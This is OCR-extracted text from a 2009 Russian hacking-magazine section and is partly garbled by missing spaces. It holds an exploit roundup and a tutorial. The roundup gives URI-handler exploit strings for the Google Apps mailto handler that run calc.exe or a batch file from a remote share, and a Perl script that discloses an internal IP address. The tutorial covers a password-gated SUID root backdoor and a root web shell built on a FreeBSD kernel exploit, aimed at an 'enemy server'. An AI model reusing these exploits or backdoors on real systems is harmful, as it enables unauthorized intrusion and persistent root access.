книги хакеры / журнал хакер / 131_Optimized

ОКНОЗАГРУЗКИВ

MOZILLA FIREFOX

ВЗЛОМ

вторую— «мандатная». Есличестно, янеоченьлюблюэтихвыражений, нодляразговора— возьминавооружение. Всеэтибуковкиописывают конкретноеправилодоступа. Болееподробноснимиможноознакомить-

сявописанииязыкаSecurity Descriptor Definition Language. Специаль-

ной«строкой» представленоописаниеосновныхзначенийowner (O:), primary group (G:), DACL (D:) иSACL (S:):

O:owner_sid

G:group_sid D:dacl_flags(string_ace1)(string_ace2)... (string_ acen)

S:sacl_flags(string_ace1)(string_ace2)... (string_ acen)

Owner_sid — SID, идентифицирующий владельца

Group_sid — SID, идентифицирующий основную группу объекта (Primary)

Dacl_flags — флаги, накладывающие ограничения на DACL Sacl_flags — флаги, накладывающие ограничения на SACL string_ace — идентификаторы флагов

Ознакомитьсясидентификаторамифлагами, можноздесь(msdn. microsoft.com/ru-ru/library/aa374928%28en-us,VS.85%29.aspx):

Родовые права доступа: GA — GENERIC_ALL

GR — GENERIC_READ GW — GENERIC_WRITE GX — GENERIC_EXECUTE

Стандартные права доступа: RC — READ_CONTROL

SD — DELETE

WD — WRITE_DAC

WO — WRITE_OWNER

Права доступа к директориям: RP — READ_PROPERTY

WP — WRITE_PROPERTY

CC — CREATE_CHILD

DC — DELETE_CHILD

Права доступа к файлам: FA — FILE_ALL_ACCESS

FR — FILE_GENERIC_READ

FW — FILE_GENERIC_WRITE

FX — FILE_GENERIC_EXECUTE

Права доступа на ключи реестра KA — KEY_ALL_ACCESS

KR — KEY_READ

KW — KEY_WRITE

KX — KEY_EXECUTE

Именноэтиидентификаторы— вкомплексесидентификаторамиSID, наиболееважныеизкоторыхперечисленыниже:

WD — «Everyone» (неочевидно, расшифровывается как SECURITY_WORLD_RID)

AN — Anonymous

BA — Built-In Administrators

SA — System Administrators

Исходяизэтихсоображений,основнаясутьуязвимостивтом,чтопрактическимаксимальныепривилегиивыданыWD,анеBAилиSY.Следизаэтим,так какподобнаямелочьможетпородитьогромнуюбрешьвбезопасности.

04НЕАВТОРИЗИРОВАННОЕВЫПОЛНЕНИЕКОДАПУТЕМЭКСПЛУАТАЦИИ ФУНКЦИЙGOOGLE APS

BRIEF: ЗачемнужныGoogleApps? Во-первых, этокрутыепримочки, которыеоблегчаюттвоюжизнь, равнокакиполовиназамечательных сервисовотGoogle. НекоторыеиспользуютGoogleApps вкачестве заменителяMicrosoft Outlook. Устанавливатьэтоделокрайнепросто. ДляначалаопциюнадоактивироватьвGMAIL, причемподразумевается, чтослинковалиеескаким-либодоменом. Действительно, изменивзаписиDNS, существуетвозможностьиспользоватьGMAIL вкачествепочтовиканасвоемресурсе. Есливсесделаноправильно,

тотампоявятсяMail/Calendar/Docs/Talk/Contacs, посути, полный набор. Ктонеготовподниматьприложениянасвоемдомене, пункт можетсмелопропуститьинастроитьвседлястандартныхсервисов

Google. ДалееставимизGoogle Pack: Google Chrome исключительно длясервисовGoogle Apps и, собственно, самиGoogle Apps, которые нарабочемстолесоздадутполезныеиконкиизаменятmail-клиент поумолчаниюнаGMail. ТретьимпунктомвключаемизChrome Offline дляGMail, Calendar и, еслинадо, Docs. Плюс, исследуемвозможность

включенияOffline вGoogle Reader передотключениемсвязи. Онскачиваетвсесообщения, иможноRSS читатьoffline. Безусловно, есть некотороенеудобствовтом, чтонадорукамикаждыйразвключать режимstanalone. МожновнастройкахOffline каждогосервисасоздать нарабочемстолеярлыкинаних, ноэтотоженеоченьудобно— обилие одинаковыхярлыковнеможетнеогорчать. Можнопоковырятьреестр инастроитьклиентпоумолчаниюнаиспользованиеoffline-версии. Прикинуввсевозможныеварианты, ярешил, чтоклиентпоумолча- ниюбудетоткрыватьoffline-версиюпочтывGoogle Chrome, ассылки «mailto:» — егозависимуюверсиючерезGoogle Apps. Поскольку второеужебылонастроеносамимиGoogle Apps, надобылопоменять толькопервое.

Компонентgoogleapps.url.mailto, отвечающийзапочтовыйобмен, зарегистрированвсистемепоследующимключамреестра:

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto] @="Google Apps URL" "EditFlags"=hex:02,00,00,00 "FriendlyTypeName"="Google Apps URL"

"URL Protocol"=""

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\DefaultIcon] @="C:\\Programmi\\Google\\Google Apps\\googleapps. exe,0" [HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell]

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open]

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open\ command]

@="C:\\Programmi\\Google\\Google Apps\\googleapps.exe --mailto.google.com=\"%1\""

Спомощьюиспользования-domain и-renderer-path флаговсуществует возможностьобходабезопасностисовременныхбраузеров, включаяIE (всехверсий) иGoogle Chrome.

EXPLOIT Выполнениеcalc.exe налокальноймашине:

googleapps.url.mailto://"%20--domain="--what%20 --renderer-path=calc%20--no-sandbox%20--x"/

Выполнениеудаленногосценария, размещенногов«шаре»:

googleapps.url.mailto://"%20--domain="--x%20 --renderer-path=\\192.168.0.1\uncshare\sh.bat%20--no- sandbox%20--x"/

Такимобразомможновыполнятьвредоносныеидеструктирующие действия, например, произвольноудалитьфайл, организоватьскрытый потокилидобавитьпользователя.

TARGETS Internet Explorer 8, windows xp sp3.

Internet Explorer 7, windows xp sp3.

Google Chrome 2.0.172.43.

SOLUTION УдалитьвышеупомянутыйURI-handler изреестра.

05CISCO ACE XML GATEWAY <= 6.0 РАС-

КРЫТИЕСЕТЕВОЙАДРЕСАЦИИ

BRIEF: Известнейшийпродукт, входящийвсоставCisco Application Control Engine (ACE), потерпелнеудачуизасветилсянапрактически каждомбагтраке.

XÀÊÅÐ 11 /131/ 09

EXPLOIT ПриотправкеметодаOPTIONS HTTP-протоколасуществует возможностьраскрытьвнутреннийIP. Длячего? Можетнайтисьмножествоситуаций. Например, подобныйпринципобнаружениязаключается вотлове«проксифицированных» пакетовнашлюзепровайдера. Это могутбытьзапросывида«HTTP 1.1 CONNECT», либо«GET/POST» сполнымадресомURL (RFC требуетполныйпутькзапрашиваемомуресурсу, анеотносительный). Темсамым, можнообнаружитьпрокси, ведущиев локальнуюсеть(состороныпровайдера):

#!/usr/bin/perl -w

use strict;

use Socket qw/ :DEFAULT :crlf /; # $CRLF use IO::Socket;

sub header

{

print " .+==================================+.\n"; print " / Cisco ACE XML Gateway <= 6.0 \\\n";

print "| Internal IP Address Disclosure |\n";

}

sub usage

{

header;

print "Usage: $0 <host> [port(default 80)]\n"; exit 0xdead;

}

my $host = shift || usage; my $port = shift || 80; my $axg;

my $axg_response;

my @payloads = ("OPTIONS / HTTP/1.0" . $CRLF . $CRLF, "OPTIONS / HTTP/1.1" . $CRLF . "Host: " . $host . $CRLF . $CRLF);

header;

print "[+] Connecting to $host on port $port ...\n"; for(@payloads){

$axg = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port,

Proto => 'tcp')

or die "[-] Could not create socket: $!\n"; print "[+] Sending payload ...\n";

print $axg $_;

$axg->read($axg_response, 1024); print "[+] Parsing response ...\n";

if($axg_response =~ /Client IP: (.*)/){ print "[+] Internal IP disclosure: $1\n"; $axg->close();

exit 0xbabe;

}

$axg->close();

}

print "[-] Not vulnerable !\n";

TARGETS ACE XML Gateway release (6).

SOLUTION УстановитьобновлениеACE XML Gateway release (6.1). z

051

РЕВОЛЮЦИЯ

 *Nix-СИСТЕМАХ НОВЫЙ

ВЗГЛЯД НА ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

НЕМНОГО ТЕОРИИ SUID — расшифро-

вывается как Set user ID, переводится с забугорного — «установить идентификатор пользователя». Если установлены права доступа SUID и файл исполняемый (то есть наш будущий бинарник), то при

выполнении этот файл получает не права запустившего его (www), а права владельца файла.

Эксплойт — в нашем случае это компьютерная программа, использующая уязвимости в программном обеспечении и применяемая для повышения привилегий (получения рута). Это был вольный пересказ Википедии. Root, суперпользователь — специаль-

ный аккаунт в UNIX-подобных системах с идентификатором (UID) 0, владелец которого имеет право на выполнение всех без исключения операций (грубо говоря, да простят меня линуксоиды, это аналог учетки Администратора в Windows). Тоже вольный пересказ Википедии.

Итак, с теорией покончили (надеюсь, было нескучно). Движемся далее...

НАПОЛЕОНОВСКИЕ ПЛАНЫ Затея у нас

круче, чем у Наполеона, мы собираемся сделать мировую революцию. Нам предстоит удивить всех рутовым web-шеллом, которого нет ни у кого! А именно, предстоит:

1.Составить задачу и продумать алгоритм работы нашего чудо-шелла

2.Накодить SUIDник

3. Накодить непосредственно сам web-shell

4.Связать все эти прелести чудесных языков программирования

5.Таки получить и сохранить r00t'a на вражеском сервере

ПЕРВЫМ ДЕЛОМ, ПЕРВЫМ ДЕЛОМ... АЛГОРИТМЫ Сначала приду-

маем алгоритм работы и вообще всю схему получения и сохранения рута. Сразу предупрежу, что тестировать наше детище мы будем на сервере с установленной FreeBSD 7.1 (причины сего деяния оглашу позже). Смысл всей затеи состоит в следующем —

мы запустим эксплоит из Web'а, то есть непосредственно из нашего любимого браузера, установим суидные права и сменим хозяина (owner'a) нашему суиднику и наконец-таки будем выполнять команды под рутом. Почему же мы выбрали для теста имен-

но FreeBSD 7.1? Все гениальное просто. Мы ведь будем юзать эксплойт из веба, а под данную ОСь как раз есть подходя-

щий эксплойт ktimer (http://milw0rm.com/ exploits/8261). Прелесть в том, что результат его работы — не получение /bin/sh, а установка uid=0, gid=0 вызывающему процессу. Это-то нам и нужно.

ПИШЕМ SUIDНИК От слов к делу, — я сразу приведу листинг кода, а уж после будем с тобой его разбирать.

#include <stdio.h> #include <stdlib.h>

main(int argc, char *argv[]) { // проверяем количество аргу-

ментов

if(argc == 3){

//проверяем наш пароль cool_hack if(strcmp(argv[1], "cool_hack") == 0){

//Устанавливаем gid(0) r00t setgid(0);

//Устанавливаем uid(0) r00t setuid(0);

//Выполняем команды с установленными ранее правами

system(argv[2]);

}

}

return 0;

}

Думаю, глядя на комментарии, уже становится ясен смысл нашей программы. Сначала мы проверяем количество аргументов — их должно быть три: argv[0] — имя самого скомпилированного SUIDника, argv[1] — наш пароль и argv[2] — непосредственно сама команда. Разберемся с некоторыми моментами работы с бинарными файлами при установленном SUID-бите, дабы не возвращаться к этому позднее.

1.-rwxr-x--x 1 www apache 5043 2009-09-09 13:51 suid

Файл suid с правами доступа -rwxr-x--x, то есть хозяин файла (www) может читать, изменять и запускать на исполнение; члены группы (apache) могут читать и запускать файл на исполнение, а все остальные пользователи могут лишь запускать на исполнение.

К примеру, результат команды id через наш файл для членов группы site будет подобным uid=80(site), gid=80(site), groups=80(apache)

2.Устанавливаем бит SUID на файл командой chmod 4751 suid

-rwsr-x--x 1 www apache 5043 2009-09-09 13:51 suid

Наверняка, ты заметил, что символ x (запуск на исполнение) сменился на s (SUID бит). Как мы уже знаем, бинарник с суид битом будет выполняться не от имени вызывающего, а от имени хозяина (owner'a). Опять же, результат команды id через наш файл для членов группы site будет подобным

uid=80(www), gid=80(www), groups=80(apache).

3.Забегая вперед, обозначим, что нам придется сменить владельца файла. Мы это сделаем под рутом командой chown root suid.

-rwsr-x--x 1 root apache 5043 2009-09-09 13:51 suid

И снова результат команды id через наш файл будет подобным uid=0(root), gid=0(root), groups=80(apache). Исходя из этого, уже видно, что любой пользователь системы, даже не входя в состав группы хозяина, имеет право на запуск бинарника, да мало того, еще и с правами хозяина, то бишь рута, так как установлен SUID-бит.

Так-с, с этим разобрались. Осталась самая малость, — скомпилировать файл. Делаем это командой gcc suid.c -o suid. В итоге получаем бинарный файл suid. Пример

ЗАВЕТНАЯНАДПИСЬROOT. ЧТОЕЩЕНУЖНОДЛЯПОЛНОГОСЧА-

СТЬЯ...

ГЛАВНАЯСТРАНИЦАНАШЕГО ШЕЛЛА

ДЕФОЛТНЫЕПРАВАСОВЕРШЕННОНЕРАДУЮТГЛАЗ

РЕЗУЛЬТАТРАБОТЫЭКСПЛОЙТА ПОСЛЕНАЖАТИЯКНОПКИ«GIVE ME R00T»

Однако шелл у нас получился довольно примитивный; чтобы интегрировать наши прелести в привычные шелла типа r57, c99, WSO2 и т.д., принцип работы тот же.

На диске ты найдешь подправленный мной код шелла r57. Единственное, что отличает подправленный

r57 от того, который мы сегодня написали, — в r57 эксплойт и суид-шелл я скомпилировал, перевел полученные бинарники в base64 и вставил полученный код в сам шелл. Далее мы расшифровываем base64-код и сохраняем в файл. Таким образом, у нас получается один файл, — это удобнее в плане транспортировки и заливки.

С интеграцией в другие шеллы разобрались, осталось разобрать ситуацию с применением эксплойтов для других операционных систем и других версий. Причина, по которой я выбрал для теста FreeBSD — этот эксплойт под версию 7.1 и 7.2 результатом своей работы возвращает не /bin/sh, которой мы бы пользовались при простом бекконекте, а возвращает uid и gid 0 для текущего процесса. То есть является универсальным. Последний способ для нас удачен, ведь мы можем использовать его непосредственно из web'a. Так мы пришли к выводу, что для использования эксплойта с нашими условиями необходимо переписать эксплойты, чтобы они устанавливали uid, gid. Как это организовать — история уже для другой статьи.

ИТОГИ НАШИХ ПРИКЛЮЧЕНИЙ

Сразу хочется отметить плюсы и минусы этого подхода к получению рута.

ПЛЮСЫ

ПОЛУЧАЕМ ПРАВА ROOT НА ВЕБ-ШЕЛЛЕ НЕ НУЖЕН СЕРВЕР ДЛЯ БЕККОНЕКТА

ОБХОД ФАЙРВОЛА, ТАК КАК НЕТ ИСХОДЯЩИХ СОЕДИНЕНИЙ, БИНДА ПОРТА И Т.Д. (А ЗАЧАСТУЮ ЭТО БОЛЬШАЯ ПРОБЛЕМА ДЛЯ СОЗДАНИЯ БЕККОНЕКТА)

МИНУСЫ

ПОКА ЕСТЬ МАЛОЕ КОЛИЧЕСТВО ЭКСПЛОЙТОВ, КОТОРЫЕ МЫ МОЖЕМ ИСПОЛЬЗОВАТЬ; ОСТАЛЬНЫЕ НУЖНО РЕДАКТИРОВАТЬ ЕСЛИ НАШ ШЕЛЛ ПОПАДЕТ К НЕДРУГАМ, ЛИБО ПРО-

СТО К НЕЧИСТЫМ НА РУКУ, ТО ЗЛОДЕИ ПОЛУЧАТ УЖЕ ГОТОВЕНЬКИЙ ROOT-ШЕЛЛ БЕЗ ОСОБЫХ УСИЛИЙ. ТАК ЧТО — ЗАЩИЩАЙТЕ СВОЙ ШЕЛЛ! z

XÀÊÅÐ 11 /131/ 09

ВЗЛОМ

АРТЕМ БАРАНОВ